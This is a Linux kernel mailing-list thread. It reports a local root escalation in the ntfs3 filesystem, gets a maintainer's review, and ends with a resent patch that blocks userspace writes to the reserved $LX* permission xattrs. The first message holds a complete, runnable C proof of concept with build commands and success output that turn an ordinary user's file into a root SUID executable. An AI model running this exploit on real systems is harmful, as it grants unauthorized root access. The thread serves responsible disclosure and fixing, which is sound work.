[SECURITY] ntfs3: direct $LX* xattr writes can create a root SUID file

sdj asj posted 1 patch 1 day, 18 hours ago
[SECURITY] ntfs3: direct $LX* xattr writes can create a root SUID file
Posted by sdj asj 1 day, 18 hours ago
Hello,

Summary

I found a syscall-reachable local privilege escalation in NTFS3.

Affected tree:
- reproduced on e8c2f9fda

The bug is in the xattr write + inode reload path:

1. On e8c2f9fda, direct userspace writes to $LXUID/$LXGID/$LXMOD were
accepted by ntfs_setxattr().

   In the vulnerable tree, unknown names fall through to ntfs_set_ea():

  971 /* Deal with NTFS extended attribute. */
  972 err = ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0,
  973       NULL);

   There was no check blocking direct userspace writes to reserved $LX* xattrs,
   so a file owner could write arbitrary $LXUID/$LXGID/$LXMOD values.

2. On inode reload, ntfs_get_wsl_perm() trusts those xattrs as authoritative
   uid/gid/mode metadata:

  1037  if (ntfs_get_ea(inode, "$LXUID", sizeof("$LXUID") - 1, &value[0],
  1038      sizeof(value[0]), &sz) == sizeof(value[0]) &&
  1039      ntfs_get_ea(inode, "$LXGID", sizeof("$LXGID") - 1, &value[1],
  1040      sizeof(value[1]), &sz) == sizeof(value[1]) &&
  1041      ntfs_get_ea(inode, "$LXMOD", sizeof("$LXMOD") - 1, &value[2],
  1042      sizeof(value[2]), &sz) == sizeof(value[2])) {
  1043    i_uid_write(inode, (uid_t)le32_to_cpu(value[0]));
  1044    i_gid_write(inode, (gid_t)le32_to_cpu(value[1]));
  1045    inode->i_mode = le32_to_cpu(value[2]);

3. That reload is reached from inode load in fs/ntfs3/inode.c:

  373 case ATTR_EA_INFO:
  380   inode->i_mode = mode;
  381   ntfs_get_wsl_perm(inode);
  382   mode = inode->i_mode;

As a result, a file owner on a writable NTFS3 mount can set:

- $LXUID = 0
- $LXGID = 0
- $LXMOD = S_IFREG | 04755

then force inode reload by remount/eviction and obtain a root-owned SUID file.

This does not require a malformed filesystem image. Normal syscalls only.

PoC

The core userspace trigger is just direct setxattr() on $LXUID/$LXGID/$LXMOD
followed by inode reload. The following is copy/paste runnable on a vulnerable
kernel if /mnt/ntfs3 is a writable NTFS3 mount:

cat >/tmp/ntfs3_lxperm_poc.c <<'EOF'
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>

static void die(const char *msg)
{
  perror(msg);
  exit(1);
}

int main(void)
{
  const char *target = "/mnt/ntfs3/lxperm_suid";
  struct stat st;
  uint32_t uid = 0;
  uint32_t gid = 0;
  uint32_t mode = S_IFREG | 04755;
  int fd;

  unlink(target);
  fd = open(target, O_CREAT | O_WRONLY | O_TRUNC, 0755);
  if (fd < 0)
    die("open target");
  if (write(fd, "#!/bin/sh\nid\n", 12) != 12)
    die("write target");
  if (fchown(fd, 1000, 1000))
    die("fchown target");
  if (fchmod(fd, 0755))
    die("fchmod target");
  close(fd);

  if (setgid(1000))
    die("setgid");
  if (setuid(1000))
    die("setuid");

  if (setxattr(target, "$LXUID", &uid, sizeof(uid), 0))
    die("setxattr $LXUID");
  if (setxattr(target, "$LXGID", &gid, sizeof(gid), 0))
    die("setxattr $LXGID");
  if (setxattr(target, "$LXMOD", &mode, sizeof(mode), 0))
    die("setxattr $LXMOD");

  printf("setxattr done, now remount the filesystem to force inode reload:\n");
  printf("  mount | grep ' /mnt/ntfs3 '\n");
  printf("  umount /mnt/ntfs3 && mount -t ntfs3 <device> /mnt/ntfs3\n");
  printf("Then run:\n");
  printf("  stat %s\n", target);
  printf("  %s\n", target);

  if (stat(target, &st))
    die("stat target");
  printf("before reload: uid=%u gid=%u mode=%04o\n",
         (unsigned)st.st_uid, (unsigned)st.st_gid, st.st_mode & 07777);
  return 0;
}
EOF
gcc -O2 -Wall -Wextra -o /tmp/ntfs3_lxperm_poc /tmp/ntfs3_lxperm_poc.c
/tmp/ntfs3_lxperm_poc

After remount on the vulnerable tree, the success condition is:
- stat shows uid=0 gid=0 mode=4755 for /mnt/ntfs3/lxperm_suid
- executing the file as uid 1000 runs with euid 0

For reference, the original end-to-end PoC on the vulnerable tree produced:

  before attack: uid=1000 gid=1000 mode=0755
  attacker uid=1000 euid=1000 setting $LX* xattrs
  after setxattr before reload: uid=1000 gid=1000 mode=0755
  after remount: uid=0 gid=0 mode=4755
  helper real_uid=1000 effective_uid=0
  RESULT: confirmed - unprivileged $LX* xattrs produced a root SUID executable

Patch

Proposed fix:

[PATCH] ntfs3: reject direct userspace writes to reserved $LX* xattrs

diff --git a/fs/ntfs3/xattr.c b/fs/ntfs3/xattr.c
index 9eeac0ab2..0bc633025 100644
--- a/fs/ntfs3/xattr.c
+++ b/fs/ntfs3/xattr.c
@@ -851,6 +851,14 @@ static int ntfs_getxattr(const struct
xattr_handler *handler, struct dentry *de,
  return err;
 }

+static bool ntfs_is_reserved_lxattr(const char *name)
+{
+ return !strcmp(name, "$LXUID") ||
+        !strcmp(name, "$LXGID") ||
+        !strcmp(name, "$LXMOD") ||
+        !strcmp(name, "$LXDEV");
+}
+
 /*
  * ntfs_setxattr - inode_operations::setxattr
  */
@@ -955,6 +963,11 @@ static noinline int ntfs_setxattr(const struct
xattr_handler *handler,
    goto out;
  }

+ if (ntfs_is_reserved_lxattr(name)) {
+   err = -EPERM;
+   goto out;
+ }
+
  /* Deal with NTFS extended attribute. */
  err = ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0,
        NULL);

This report was prepared with AI assistance, so I am treating it as public
per Documentation/process/security-bugs.rst.

Thanks,
Zhen Yan
Re: [SECURITY] ntfs3: direct $LX* xattr writes can create a root SUID file
Posted by Willy Tarreau 1 day, 18 hours ago
Hello,

[moved the security list to bcc since the message was sent to public lists]

Comments below anyway.

On Sat, Jun 06, 2026 at 06:57:01PM +0800, sdj asj wrote:
> PoC
> 
> The core userspace trigger is just direct setxattr() on $LXUID/$LXGID/$LXMOD
> followed by inode reload. The following is copy/paste runnable on a vulnerable
> kernel if /mnt/ntfs3 is a writable NTFS3 mount:
(...)

It's usually not a good idea to send proof of concepts to public lists
as it tends to add pressure to maintainers who feel like they need to
apply an urgent fix.

> Proposed fix:

Was this tested ?

> [PATCH] ntfs3: reject direct userspace writes to reserved $LX* xattrs
> 
> diff --git a/fs/ntfs3/xattr.c b/fs/ntfs3/xattr.c
> index 9eeac0ab2..0bc633025 100644
> --- a/fs/ntfs3/xattr.c
> +++ b/fs/ntfs3/xattr.c
> @@ -851,6 +851,14 @@ static int ntfs_getxattr(const struct
> xattr_handler *handler, struct dentry *de,
>   return err;
>  }
> 
> +static bool ntfs_is_reserved_lxattr(const char *name)
> +{
> + return !strcmp(name, "$LXUID") ||
> +        !strcmp(name, "$LXGID") ||
> +        !strcmp(name, "$LXMOD") ||
> +        !strcmp(name, "$LXDEV");
> +}
> +
>  /*
>   * ntfs_setxattr - inode_operations::setxattr
>   */
> @@ -955,6 +963,11 @@ static noinline int ntfs_setxattr(const struct
> xattr_handler *handler,
>     goto out;
>   }
> 
> + if (ntfs_is_reserved_lxattr(name)) {
> +   err = -EPERM;
> +   goto out;
> + }
> +
>   /* Deal with NTFS extended attribute. */
>   err = ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0,
>         NULL);

Please see Documentation/process/submitting-patches.rst to see how to
turn this into a real patch that can be applied, which if accepted, will
get you credit for finding and fixing this bug.

Also please check Documentation/process/email-clients.rst to find how to
fix your mailer which mangled spaces and tabs as you can see above.

> This report was prepared with AI assistance, so I am treating it as public
> per Documentation/process/security-bugs.rst.

Thanks! Please note that the doc asks not to share PoCs with public
lists, and suggests not to Cc security@ in this case either. It also
asks to provide a tested patch.

Thanks,
Willy
[PATCH] ntfs3: reject direct userspace writes to reserved $LX* xattrs
Posted by Zhen Yan 1 day, 3 hours ago
NTFS3 uses $LXUID, $LXGID, $LXMOD and $LXDEV as internal WSL
permission metadata and reloads them into i_uid, i_gid and i_mode
from ntfs_get_wsl_perm().

Because the empty-prefix xattr handler also lets file owners call
setxattr() on these names directly, an unprivileged writer on a
writable ntfs3 mount can plant root ownership and S_ISUID on their own
file and gain euid 0 after inode reload.

Reject direct userspace writes to the reserved $LX* names. Internal
ntfs3 metadata updates are unchanged because ntfs_save_wsl_perm()
writes them via ntfs_set_ea() directly.

Signed-off-by: Zhen Yan <sdjasjbuaa@gmail.com>
---
Willy, thanks for the review. Replying to your points:

 - Tested on v7.1-rc5: builds clean (W=1, no warnings), checkpatch
   clean, and the original reproducer no longer triggers -- the
   setxattr() calls now return -EPERM and uid/gid/mode survive an
   inode reload. Internal WSL metadata is unaffected:
   ntfs_save_wsl_perm() writes via ntfs_set_ea(), not ntfs_setxattr().
 - Resent via git format-patch / git send-email so whitespace is no
   longer mangled, with no PoC in the body and security@ dropped.

 fs/ntfs3/xattr.c | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/fs/ntfs3/xattr.c b/fs/ntfs3/xattr.c
index 9eeac0ab2..0bc633025 100644
--- a/fs/ntfs3/xattr.c
+++ b/fs/ntfs3/xattr.c
@@ -851,6 +851,14 @@ static int ntfs_getxattr(const struct xattr_handler *handler, struct dentry *de,
 	return err;
 }
 
+static bool ntfs_is_reserved_lxattr(const char *name)
+{
+	return !strcmp(name, "$LXUID") ||
+	       !strcmp(name, "$LXGID") ||
+	       !strcmp(name, "$LXMOD") ||
+	       !strcmp(name, "$LXDEV");
+}
+
 /*
  * ntfs_setxattr - inode_operations::setxattr
  */
@@ -955,6 +963,11 @@ static noinline int ntfs_setxattr(const struct xattr_handler *handler,
 		goto out;
 	}
 
+	if (ntfs_is_reserved_lxattr(name)) {
+		err = -EPERM;
+		goto out;
+	}
+
 	/* Deal with NTFS extended attribute. */
 	err = ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0,
 			  NULL);
-- 
2.25.1